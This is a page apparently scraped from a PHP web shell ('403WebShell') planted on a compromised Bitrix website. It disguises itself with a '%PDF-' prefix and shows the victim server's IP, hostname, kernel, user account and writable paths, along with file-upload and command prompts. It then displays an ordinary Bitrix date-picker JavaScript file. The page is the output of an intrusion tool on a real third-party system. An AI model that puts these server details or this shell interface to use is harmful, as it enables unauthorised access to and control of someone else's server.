%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.12.147.137
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/main/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/main/core/core_ui_date.js
;(function() {
	'use strict';

	BX.namespace('BX.Main.ui');
	BX.namespace('BX.Main.ui.block');

	BX.Main.ui.date = function(node) {
		this.node = null;
		this.classControl = 'main-ui-date';
		this.classButton = 'main-ui-date-button';
		this.classInput = 'main-ui-date-input';
		this.classValueDelete = 'main-ui-control-value-delete';
		this.classHide = 'main-ui-hide';
		this.button = null;
		this.input = null;
		this.valueDeleteButton = null;
		this.enableTime = false;
		this.init(node);
	};

	BX.Main.ui.date.prototype = {
		init: function(node)
		{
			if (BX.type.isDomNode(node) && BX.hasClass(node, this.classControl))
			{
				this.node = node;
				this.enableTime = (BX.data(this.getInput(), 'time') == 'true');

				BX.bind(this.getButton(), 'click', BX.delegate(this.calendar, this));
				BX.bind(this.getInput(), 'input', BX.delegate(this._onInputInput, this));
				BX.bind(this.getInput(), 'focus', BX.delegate(this._onInputFocus, this));
				BX.bind(this.getInput(), 'click', BX.delegate(this._onInputClick, this));
				BX.bind(this.getValueDeleteButton(), 'click', BX.delegate(this._onValueDeleteButtonClick, this));
				this.controlDeleteButton();
			}
		},

		_onInputInput: function()
		{
			this.controlDeleteButton();
		},

		controlDeleteButton: function()
		{
			if (this.getInput().value.length)
			{
				BX.removeClass(this.getValueDeleteButton(), this.classHide);
			}
			else
			{
				BX.addClass(this.getValueDeleteButton(), this.classHide);
			}
		},

		_onInputFocus: function(event)
		{
			this.isFocus = true;
			this.eventTimestamp = event.timeStamp;
			this.calendar();
		},

		_onInputClick: function(event)
		{
			var calendar = this.calendar();
			var focusTime = new Date(this.eventTimestamp).getSeconds();
			var clickTime = new Date(event.timeStamp).getSeconds();
			event.preventDefault();
			event.stopPropagation();

			if (!this.isFocus || Math.abs(focusTime - clickTime) < 0)
			{
				if (calendar.popup.isShown())
				{
					this.getNode().click();
				}
			}

			this.isFocus = false;
		},

		_onValueDeleteButtonClick: function(event)
		{
			var target = event.currentTarget;
			var input;

			if (BX.type.isDomNode(target))
			{
				input = this.getInput();

				if (BX.type.isDomNode(input))
				{
					input.value = '';
					this.controlDeleteButton();
				}
			}
		},

		getValueDeleteButton: function()
		{
			if (!BX.type.isDomNode(this.valueDeleteButton))
			{
				this.valueDeleteButton = BX.findChild(this.getNode(), {className: this.classValueDelete}, true, false);
			}

			return this.valueDeleteButton;
		},

		calendar: function()
		{
			var input = this.getInput();
			var button = this.getButton();

			var params = {node: button, field: input, bTime: this.enableTime, bHideTime: false, callback_after: BX.delegate(this.controlDeleteButton, this)};

			return BX.calendar(params);
		},

		getNode: function()
		{
			return this.node;
		},

		getButton: function()
		{
			if (!BX.type.isDomNode(this.button))
			{
				this.button = BX.findChild(this.getNode(), {class: this.classButton}, true, false);
			}

			return this.button;
		},

		getInput: function()
		{
			if (!BX.type.isDomNode(this.input))
			{
				this.input = BX.findChild(this.getNode(), {class: this.classInput}, true, false);
			}

			return this.input;
		}
	};


	BX.Main.ui.block['main-ui-date'] = function(data)
	{
		var control, calendarButton, input, valueDelete;

		control = {
			block: 'main-ui-date',
			mix: ['main-ui-control'],
			content: []
		};

		if ('mix' in data && BX.type.isArray(data.mix))
		{
			data.mix.forEach(function(current) {
				control.mix.push(current);
			});
		}

		if ('calendarButton' in data && data.calendarButton === true && (!('type' in data) || 'type' in data && data.type !== 'hidden'))
		{
			calendarButton = {
				block: 'main-ui-date-button',
				tag: 'span'
			};

			control.content.push(calendarButton);
		}

		input = {
			block: 'main-ui-date-input',
			mix: ['main-ui-control-input'],
			tag: 'input',
			attrs: {
				type: 'type' in data ? data.type : 'text',
				name: 'name' in data ? data.name : '',
				tabindex: 'tabindex' in data ? data.tabindex : '',
				value: 'value' in data ? data.value : '',
				placeholder: 'placeholder' in data ? data.placeholder : '',
				autocomplete: 'off',
				'data-time': data.enableTime
			}
		};


		control.content.push(input);

		if ('valueDelete' in data && data.valueDelete === true && (!('type' in data) || 'type' in data && data.type !== 'hidden'))
		{
			valueDelete = {
				block: 'main-ui-control-value-delete',
				mix: ['main-ui-hide'],
				content: {
					block: 'main-ui-control-value-delete-item',
					tag: 'span'
				}
			};

			control.content.push(valueDelete);
		}

		if (input.attrs.type === 'hidden')
		{
			control = input;
		}

		return control;
	};

})();

Youez - 2016 - github.com/yon3zu
LinuXploit